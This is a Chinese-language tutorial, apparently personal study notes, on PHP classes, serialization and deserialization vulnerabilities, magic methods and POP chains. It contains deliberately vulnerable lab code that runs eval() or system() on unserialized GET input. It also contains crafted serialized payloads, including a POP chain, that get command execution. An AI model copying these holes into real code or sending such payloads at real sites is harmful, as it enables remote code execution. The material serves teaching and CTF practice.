目录
一、php面向对象
二、类
2.1 类的定义
2.2 类的修饰符介绍
三、序列化
3.1 序列化的作用
3.2 序列化之后的表达方式/格式
① 简单序列化
② 数组序列化
③ 对象序列化
④ 私有修饰符序列化
⑤ 保护修饰符序列化
⑥ 成员属性调用对象 序列化
四、反序列化
4.1 反序列化的特性
4.2 反序列化的作用
五、反序列化漏洞
5.1 反序列化漏洞概述
5.2 魔术方法
魔术方法简介
什么是魔术方法
魔术方法的作用
魔术方法相关机制
重要魔术方法
六、pop链前置知识
一、php面向对象
面向对象程序设计(Object Oriented Programming,简称OOP)是一种计算机编程架构。面向对象思想的核心:计算机模拟现实世界,解决现实世界的问题。注意:面向对象思想很重要,其次是编程语言的语法。相比于面向过程,两者思想方式不同,面向过程注重功能,怎么一步一步去实现,其程序基本单位大多是函数组成的;而面向对象注重对象,是谁去做这个事情,也就是行为以及状态,其程序基本单位是对象,对象是通过类的实例化产生的。
二、类
2.1 类的定义
类是定义了一件事物的抽象特点,将数据的形式以及这些数据上的操作封装在一起,对象是具有类类型的变量,是类的实例。类是对象的抽象,而对象是类的具体实例。类的想法,把类实例化(new),调用具体值后就变成了对象。
内部构成:成员变量(属性)+成员函数(方法)
成员变量:定义在类内部的变量,该变量对外是不可见的,但是可以通过成员函数访问,在类被实例化成为对象后,该变量即可成对象的属性。
成员函数:定义在类的内部,用于访问对象的数据,是实现某个独立的功能,类中一个行为
大白话解释一下(比较形象):
类和对象的关系:类好比公司让你填写个人简介的表格 有姓名 年龄 等 如果没有人填写 那么这个表格(类)将毫无用处 ,但是同学A 填写了这个表格,A填写完表格(对象)就是表格(类)的实例化 表格实例化成为了一个对象,A就可以拿着简介去公司面试了,否则表格空空 公司看都不看。举的例子中个人信息属于成员属性 成员函数好比表格上写跳舞,电脑的操作者属于面试官 对象属于填写完的表格信息 当面试官查看个人信息的时候 只能看到对象中的属性,这时候面试官看到对象里面写着个人爱好为跳舞,面试官对同学A说(执行类中函数)你跳舞吧,边跳舞边说自己的个人信息 同学A就展示动作并说出自己的个人信息(这就是成员函数可以访问成员变量,并且个人信息别人是不知道的),(通过这也可以看出 对象里有属性和方法,属性是可以一看看出来的,但是方法需要面试官主动让你跳,你才能跳)
继承:继承性是子类自动共享父类数据结构和方法的机制,是类之间的一种关系(也就是说 一个类的子类和类本身是没有什么区别的)
2.2 类的修饰符介绍
在类中直接声明的变量成为成员属性(也可以成为成员变量),可以在类中声明多个变量,即对象中可以有多个成员属性,每个变量都存储对象不同的属性信息
访问权限修饰符:对属性的定义 定义权限
如果定义了权限 就不可以在哪都能调用了
代码演示
<?php class jianjie{ //定义一个类 简介的表格var $name; //定义一个属性 表格中需要填写的var $sex; function dance($var1) { //定义一个方法 也就是跳舞echo $this->name."<br />";//如果对象为A A跳舞的时候可以说出自己的个人信息echo $var1."<br />";} } $A= new hero();//将类实例化为对象 也就是表格让同学A填写 $A->name='chengyaojin'; //同学A进行填写 $A->sex='man'; print_r($cyj);//面试官查看个人信息 只能查看到属性 $A->dance('tiaotiaotiao'); //面试官知道表格里有个跳舞,面试官就让A跳舞 A就跳舞了 ?>
<?php class hero{//三个属性 定义了该属性的权限public $name='chengyaojin'; //公共的private $sex='man';//私有的protected $shengao='165';//私有加子类的function jineng($var1) {echo $this->name; //可以echo $var1; //可以} } class hero2 extends hero{ //hero2位hero的子类function test(){echo $this->name."<br />";//可以echo $this->sex."<br />"; //不可以echo $this->shengao."<br />";//可以} } $cyj= new hero(); $cyj2=new hero2(); echo $cyj->name."<br />"; echo $cyj2->test(); ?>
三、序列化
3.1 序列化的作用
序列化是将对象的状态信息(属性)转换为可以存储或传输的形式的过程(方便存储和方便传输)
将对象或者数组转化为可存储/传输的字符串
举例:如果有session 会把传进来的参数键值对转换成字符串存储在session文件里面
在php中使用函数serialize()来将对象或者数组进行序列化 并返回一个包含字节流的字符串来表示
3.2 序列化之后的表达方式/格式
① 简单序列化
<?php $a=null; echo serialize($a); ?>
② 数组序列化
<?php $a = array('benben','dazhuang','laoliu'); echo $a[0]; echo serialize($a); ?>
benben a:3:{i:0;s:6:"benben";i:1;s:8:"dazhuang";i:2;s:6:"laoliu";}
③ 对象序列化
<?php class test{public $pub='benben';function jineng(){echo $this->pub;} } $a = new test(); echo serialize($a); ?>
O:4:"test":1:{s:3:"pub";s:6:"benben";}
④ 私有修饰符序列化
<?php class test{private $pub='benben';function jineng(){echo $this->pub;} } $a = new test(); echo serialize($a); ?>
O:4:"test":1:{s:9:"testpub";s:6:"benben";} //因为pub是私有属性 序列化会在前面加上类名 并且类名前后要有空字符 所以一共是9个字符
⑤ 保护修饰符序列化
<?php class test{protected $pub='benben';function jineng(){echo $this->pub;} } $a = new test(); echo serialize($a); ?>
O:4:"test":1:{s:6:"*pub";s:6:"benben";} 如果一个属性属于保护的修饰符 序列化的时候会在属性的前面加上* 并且*前后也会有空字符 一共是6个字符
⑥ 成员属性调用对象 序列化
<?php class test{var $pub='benben';function jineng(){echo $this->pub;} } class test2{var $ben;function __construct(){$this->ben=new test();} } $a = new test2(); echo serialize($a); ?>
O:5:"test2":1:{s:3:"ben";O:4:"test":1:{s:3:"pub";s:6:"benben";}}
整体演示
<?php highlight_file(__FILE__); class TEST {public $data;public $data2 = "dazzhuang";private $pass;public function __construct($data, $pass){$this->data = $data;$this->pass = $pass;} } $number = 34; $str = 'user'; $bool = true; $null = NULL; $arr = array('a' => 10, 'b' => 200); $arr2 = array2('benben','dazhuang','tzy'); $test = new TEST('uu', true); $test2 = new TEST('uu', true); $test2->data = &$test2->data2; echo serialize($number)."<br />"; echo serialize($str)."<br />"; echo serialize($bool)."<br />"; echo serialize($null)."<br />"; echo serialize($arr)."<br />"; echo serialize($test)."<br />"; echo serialize($test2)."<br />"; ?>
i:34; s:4:"user"; b:1; N; a:2:{s:1:"a";i:10;s:1:"b";i:200;} a:3:{i:0;s:6:"benben";i:1;s:8:"dazhuang";i:2;s:6:"laoliu";} O:4:"TEST":3:{s:4:"data";s:2:"uu";s:5:"data2";s:9:"dazzhuang";s:10:"TESTpass";b:1;} O:4:"TEST":3:{s:4:"data";s:9:"dazzhuang";s:5:"data2";R:2;s:10:"TESTpass";b:1;}
注意
切记整型666被序列化后是 i:666; 分号要记住
实例化为对象后只会携带成员属性,做序列化的时候 只会序列化属性,成员方法调用才有
带权限输出的时候最好用urlcode进行编码 如果编码为url后就能看到test两边是空字符
s:10:"TESTpass" 明明8个字符 确显示10个字符就是因为空字符的原因
四、反序列化
4.1 反序列化的特性
1 反序列化之后的内容为一个对象
2 反序列化生成的对象里的值,由反序列化里的值提供;与原由类预定义的值无关
3 反序列化不触发类的成员方法;需要调用方法后才能触发(有些同学疑问 为什么反序列化后就能触发成员方法 是因为使用了 魔术方法)
4.2 反序列化的作用
代码
<?php class test {public $a = 'benben';protected $b = 666;private $c = false;public function displayVar() {echo $this->a;} } $d = new test();//将类实例化为一个对象 $d = serialize($d);//进行序列化 echo $d."<br />"; //输出一下序列化后的值 echo urlencode($d)."<br />";//进行url编码 能看到空字符的%00 $a = urlencode($d);//将url编码后赋值给变量a $b = unserialize(urldecode($a));//对a进行反序列化 赋值给b var_dump($b);// ?>
反序列化后的输出和正常对象的输出是一样的,但是如果将序列化字符串里面的benben改成dazhuang 那么反序列化后的a 就变成了dazhuang 这里老师说了 通过序列化反序列化构造木马很难被发现
O:4:"test":3:{s:1:"a";s:6:"benben";s:4:"*b";i:666;s:7:"testc";b:0;} O%3A4%3A%22test%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A6%3A%22benben%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bi%3A666%3Bs%3A7%3A%22%00test%00c%22%3Bb%3A0%3B%7D object(test)#1 (3) { ["a"]=> string(6) "benben" ["b:protected"]=> int(666) ["c:private"]=> bool(false) }
反序列化为一个对象的时候 这个对象是没有方法的 必须得主动调用方法 这个方法不是对象的 是类的 向类进行借用(类似于系统识别出来你这个对象就是属于类,就可以用类中的方法) 这个时候如果把类注释掉 那么这个方法将无法执行 (其实老师说的也不对 我感觉不能这么理解)因为这个方法里面有输出当前姓名 输出的是我们刚刚修改过的dazhuang。
五、反序列化漏洞
5.1 反序列化漏洞概述
反序列化成因:反序列化过程中,userialize()接收的值(字符串)可控;通过更改这个值(字符串),得到所需要的代码,即生成的对象的属性值 ,通过调用方法,触发代码执行(到后面就能明白了为什么叫调用方法就能触发代码执行 因为在类的方法中调用了自己的属性,但是这个属性可以通过反序列化进行更改,也就是说光改变值也不行 需要让这个值被执行 这才能实现漏洞利用)
反序列化漏洞实例
靶场源码
<?php error_reporting(0); class test{public $a = 'echo "this is test!!";';public function displayVar() {eval($this->a);} } $get = $_GET["benben"];//通过GET 传参 传的是序列化后的值 $b = unserialize($get);//把参数值反序列化赋值给一个对象b $b->displayVar() ; //本来对象b不属于test类的 但是通过反序列化后系统就会认为b是类test实例化的对象 从而可以执行类中的方法 因为传参的时候已经把类的属性修改为我们想要的代码了 这样就实现了反序列化的漏洞 到这我也发现有个前提 我们必须要知道源码 ?>
传参??benben=O:4:"test":1:{s:1:"a";s:12:"system(dir);";}
5.2 魔术方法
魔术方法简介
魔术方法在反序列化漏洞利用里面占用的比例还是很大的
什么是魔术方法
一个预定义好的,在特定情况下自动触发的行为方法
魔术方法的作用
反序列化漏洞的成因:反序列化过程中,unserialize()接收的值(字符串)可控;通过更改这个值(字符串),得到所需要的代码;通过调用的方法,触发代码执行
魔术方法在特定条件下自动调用相关方法,最终导致触发代码
魔术方法相关机制
重要魔术方法
_construct()
构造函数,在实例化一个对象的时候,首先回去自动执行的一个方法;
触发时机:实例化对象
功能:提前清理不必要内容
参数:非必要
<?php highlight_file(__FILE__); class User {public $username;public function __construct($username) {$this->username = $username;echo "触发了构造函数1次" ;} } //实例化user类的时候会触发类中__construct魔术方法 $test = new User("benben"); $ser = serialize($test); unserialize($ser); ?>
触发了构造函数1次
__destruct()
析构函数,在对象的所有引用被删除或者当对象被显式销毁是执行的魔术方法
<?php highlight_file(__FILE__); class User {public function __destruct(){echo "出发了析构函数1次"."<br />" ;} } $test = new User("benben"); 实例化对象结束后 代码运行完全 触发一次 创建的时候肯定不会触发 但是对象用完了就要销毁 销毁的时候会触发 $ser = serialize($test);//不会触发 unserialize($ser);//这里也出发了一次 反序列化和实例化为对象一个意思 ?> 这么理解有点繁琐 大白话就是 当实例化一个对象的时候 类中的代码会执行一遍 执行一遍后就出发了魔术方法 反序列化一样的道理
触发了构造函数1次 触发了构造函数1次
析构函数例题
<?php highlight_file(__FILE__); error_reporting(0); class User {var $cmd = "echo 'dazhuang666!!';" ;public function __destruct(){eval ($this->cmd);} } $ser = $_GET["benben"]; unserialize($ser);//解释一下 实例化为一个对象就好比要把类里面的代码过一遍,反序列化也一个意思 要把字符串过一遍,虽然这个值是序列化的字符串得出来的 但是系统也会认为这个对象和类有关属于类里面的 因为类里面有__destruct 从而触发 ?>
构造序列化后的值
?benben=O:4:"User":1:{s:3:"cmd";s:12:"system(dir);";}
__sleep()
序列化serialize()函数会检查类中是否存在一个魔术方法__sleep()。如果存在,该方法会先被调用,然后才执行序列化操作,此功能可以用于清理对象,并返回一个对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则NULL被序列化,并产生一个E_NOTICE级别的错误。
触发时机:序列化serialize()之前
功能:对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性
参数:成员属性
返回值:需要被序列化存储的成员属性
<?php class User {const SITE = 'uusama';public $username;public $nickname;private $password;public function __construct($username, $nickname, $password) {$this->username = $username;$this->nickname = $nickname;$this->password = $password;}public function __sleep() {return array('username', 'nickname');} } $user = new User('a', 'b', 'c');//触发__construct魔术方法 abc参数自动传入方法之中 echo serialize($user);//触发__sleep魔术方法 魔术方法只返回usernmae nickname 告诉serialize函数 不序列化password ?>
O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}
sleep例题
<?php class User {const SITE = 'uusama';public $username;public $nickname;private $password;public function __construct($username, $nickname, $password) {$this->username = $username;$this->nickname = $nickname;$this->password = $password;}public function __sleep() {system($this->username);} } $cmd = $_GET['benben'];//通过GET传入参数 $user = new User($cmd, 'b', 'c');//这个GET获取的参数作为对象的username echo serialize($user);//序列化会先执行construct魔术方法再执行__sleep魔术方法 从而利用了漏洞 ?>
构造语句?benben=cmd
这么一看 其实这个靶场就构成木马 传入参数 就会执行参数的命令 学东西越多构造的木马越多
__wakeup()
unserlialize()会检查是否存在一个__ wakeup()方法。如果存在,则会先调用__wakeup()方法,预先准备对象需要的资源,预先准备对象资源,返回void,常用反序列化操作中重新建立数据库连接或执行其他初始化操作。
示例
<?php class User {const SITE = 'uusama';public $username;public $nickname;private $password;private $order;public function __wakeup() {$this->password = $this->username;} } $user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}'; var_dump(unserialize($user_ser)); ?> //在进行反序列化的时候 虽然数据是从序列化的字符串中得到的 但是系统识别出类中有一个__wakeup魔术方法 里面对password进行了赋值 从反序列化中得到了username和nickname 从魔术方法中获得了password 魔术方法给属性赋值了 也就是告诉对象你你还有一个值 别忘记了 但是吧这个order为什么会冒出来
object(User)#1 (4) { ["username"]=> string(1) "a" ["nickname"]=> string(1) "b" ["password:private"]=> string(1) "a" ["order:private"]=> NULL }
例题 漏洞利用
<?php class User {const SITE = 'uusama';public $username;public $nickname;private $password;private $order;public function __wakeup() {system($this->username);} } $user_ser = $_GET['benben']; unserialize($user_ser); ?>
构造poc O:4:"User":1:{s:8:"username";s:3:"dir";}
输出
__tostring
表达方式错误 导致魔术方法触发
触发时机:把对象当成字符串调用
把类User实例化并赋值给$test 此时$test是一个对象 调用对象可以使用print_r或者 var_dump echo和print只能调用字符串的方法去调用对象
<?php highlight_file(__FILE__); error_reporting(0); class User {var $benben = "this is test!!";public function __toString(){return '格式错误!';} } $test = new User() ;//这是一个对象 print_r($test); //成功执行 echo "<br />"; echo $test;//echo只能输出一个变量 但是test是对象 这个时候对象里面的__toString就会被触发 ?>
User Object ( [benben] => this is test!! ) 格式错误!
__invoke()
格式表达错误导致魔术方法触发
触发时机:包对象当成函数调用
<?php function dazhaung(){echo "这是一个函数"; } class User {var $benben = "this is test!!";public function __invoke(){echo '这不是一个函数!';} } $test = new User() ; dazhaung()//输出这是一个函数 $test() //因为这是对象 当成函数去执行类里面的invoke函数就会执行 ?>
错误调用相关魔术方法
__call()
触发时机:调用一个不存在的方法
参数:2个参数传参$arg1,$arg2
$arg1 调用的不存在的方法的名称
$arg2 调用的不存在的方法的参数
返回值:调用的不存在的方法的名称和参数
当对象调用的方法不存在是 就会触发这个魔术方法
<?php class User {public function __call($arg1,$arg2){echo "$arg1,$arg2[0]";} } $test = new User() ; $test -> callxxx('a'); ?>
callxxx,a
__callStatic()
触发时机:静态调用或调用成员常量时的方法不存在
参数:2个参数传参$arg1,$arg2
返回值:调用的不存在的方法的名称和参数
<?php class User {public function __callStatic($arg1,$arg2){echo "$arg1,$arg2[0]";} } $test = new User() ; $test::callxxx('a');//这就是静态调用方法 如果这个方法不存在 就触发callstatic ?>
callxxx,a
__get()
触发时机:调用的成员属性不存在
参数:传参$arg1
返回值:不存在的成员属性名称
触发get(0)把不存在的属性名称var2赋值给$arg1
<?php class User {public $var1;public function __get($arg1){echo $arg1;} } $test = new User() ; $test ->var2;//调用一个不存在的属性 自动执行__get()魔术方法 将不存在属性名赋值给arg1 并输出出来 ?>
var2
__set()
触发时机:给不存在的成员属性赋值
参数:传参$arg1,$arg2
返回值:不存在的成员属性的名称和赋的值
先触发grt()再触发set()
$arg1,不存在成员属性的名称
$arg2,不存在的成员属性var2赋的值
<?php class User {public $var1;public function __set($arg1 ,$arg2){echo $arg1.','.$arg2;} } $test = new User() ; $test ->var2=1;//为一个不存在的属性赋值 会触发__set魔术方法 将不存在的属性名赋值给arg1 赋的值赋值给arg2 并输出 ?>
var2,1
__isset()
触发时机:对不可访问属性/或不存在属性使用isset()或empty()时,__isset()会被调用
参数:传参$arg1
返回值:不存在的成员属性的名称
<?php class User {private $var;public function __isset($arg1 ){echo $arg1;} } $test = new User() ; isset($test->var);//如果不存在或者无权限的属性名被isset函数调用会触发__isset魔术方法 将属性名赋值给arg1 ?>
var
unset()同理
<?php class User {private $var;public function __unset($arg1 ){echo $arg1;} } $test = new User() ; unset($test->var);//同理 ?>
var
__clone()
触发时机:当使用clone关键字拷贝完成一个对象后,新对象会自动调用一个魔术方法
<?php class User {private $var;public function __clone( ){echo "__clone test";} } $test = new User() ; $newclass = clone($test)//拷贝一个对象后 这个新对象会触发魔术方法__clone ?>
六、pop链前置知识
1 控制成员属性所对应的对象是哪一个
2 遇到有pop链的题目 经常使用的方法是反推法 不能正着推 题目量如果少的话 还可以 一但量大就不好弄了
练习 代码讲解
<?php highlight_file(__FILE__); error_reporting(0); class index {private $test;public function __construct(){$this->test = new normal();}public function __destruct(){$this->test->action();} } class normal {public function action(){echo "please attack me";} } class evil {var $test2;public function action(){eval($this->test2);} } unserialize($_GET['test']); ?>
反推法的开始就是先找到代码里面的利用点 eval就是整个代码能利用的点
往前推
1,eval的值通过test2传过来 但是eval所在的函数不是魔术方法这个时候就要往前找看谁调用了evil类中的action函数
2 index类中的 __destruct魔术方法调用了normal类对象test的action函数
这个时候问题就是如何让test调用evil中的action()方法
因为反序列化得出的对象的值和类无关 可以自定义
我们只需定义test为对象 这个对象的来源是evil类
解决思路:给test赋值为对象 test=new evil()
有两种构造方法 一种手写poc 一种利用源代码修改生成序列化的字符串
我是真牛呀 一次直接手写成功
?test=O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:12:"system(dir);";}}
但是吧手写短一点的行 最好还是要利用源代码构造poc
<?php highlight_file(__FILE__); error_reporting(0); class index {private $test;public function __construct(){$this->test = new evil();}} class evil {var $test2="system(dir);";public function action(){eval($this->test2);} } $a=new index(); echo serialize($a); ?>
这是分析代码后确定如何才能执行eval()
反序列化过程: 构造完的poc 反序列化给一个对象A 告诉这个对象你是index类的你里面有个test的属性 并且这个属性属于evil类的 evil(test对象)里的值test2为system(dir) 因为是反序列化在反序列化结束的时候会自动执行index类(对象A)中的__destruct()魔术方法 从而执行action
得出反序列化过程开始使用序列化构造poc
构造poc序列化过程:index类中有test 和魔术方法__construct 当执行序列化后会自动触发__construct 里面的内容是将test作为eval的对象 对象的属性里面有test2属性 属性的值为system(dir)
将poc放到源代码中分析过程:告诉系统test属于evil的对象并且test属性里的test2属性的值为system(dir) 执行完反序列化自动执行 魔术方法destruct 从而执行远程命令
还有一种构造方法
<?php highlight_file(__FILE__); error_reporting(0); class index {private $test; } class evil {var $test2;} $a=new evil();//实例化为一个对象 $a->test2="system(dir);";//为这个对象的竖向test2进行赋值 $b=new index();//实例化index的对象 $b->test=$a;//让index的对象的属性等于evil的对象,这道题因为test为 private所以不能再类外进行构造 这只是一个举例 echo serialize($b); //实例化这个$b ?>